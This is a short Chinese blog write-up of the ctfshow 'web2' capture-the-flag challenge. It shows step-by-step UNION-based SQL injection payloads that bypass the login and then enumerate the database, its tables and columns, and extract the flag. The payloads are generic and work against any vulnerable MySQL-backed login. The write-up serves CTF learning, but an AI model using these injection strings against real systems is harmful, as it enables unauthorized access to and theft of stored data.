ctfshow--web2 sql注入

这题是考sql注入,我们先用个万能语句注入
image
发现它上面会出现 欢迎你,ctfshow
那么这就很明显了,这个用户的名字就是ctfshow
那么猜测flag会不会是在flag的用户里面呢我们提交一下
image
如果有flag的用户的话他的 欢迎你,ctfshow 会变成 欢迎你,flag但是很明显没有
image
尝试这个语句
1' union select 1,2,3#
发现ctfshow变化了
image
那么接下来我们就可以直接获取数据库名称
1' union select 1,concat('--',(select database())),3# 是web2
image
接下来查web2下的表有哪些
1' union select 1,concat('--',(select table_name from information_schema.tables where table_schema='web2' limit 1),'--'),3#
发现有个flag表
image
那么我们进一步查看flag表有哪些字段
1' union select 1,concat('--',(select column_name from information_schema.columns where table_schema='web2' limit 1),'--'),3#
发现有个flag字段
image

接着查看flag字段的内容,就拿到flag了
1' union select 1,(select group_concat('--',flag,'--') from flag),3 #
image

posted @ 2024-04-03 19:34  WSssSW  阅读(158)  评论(0)    收藏  举报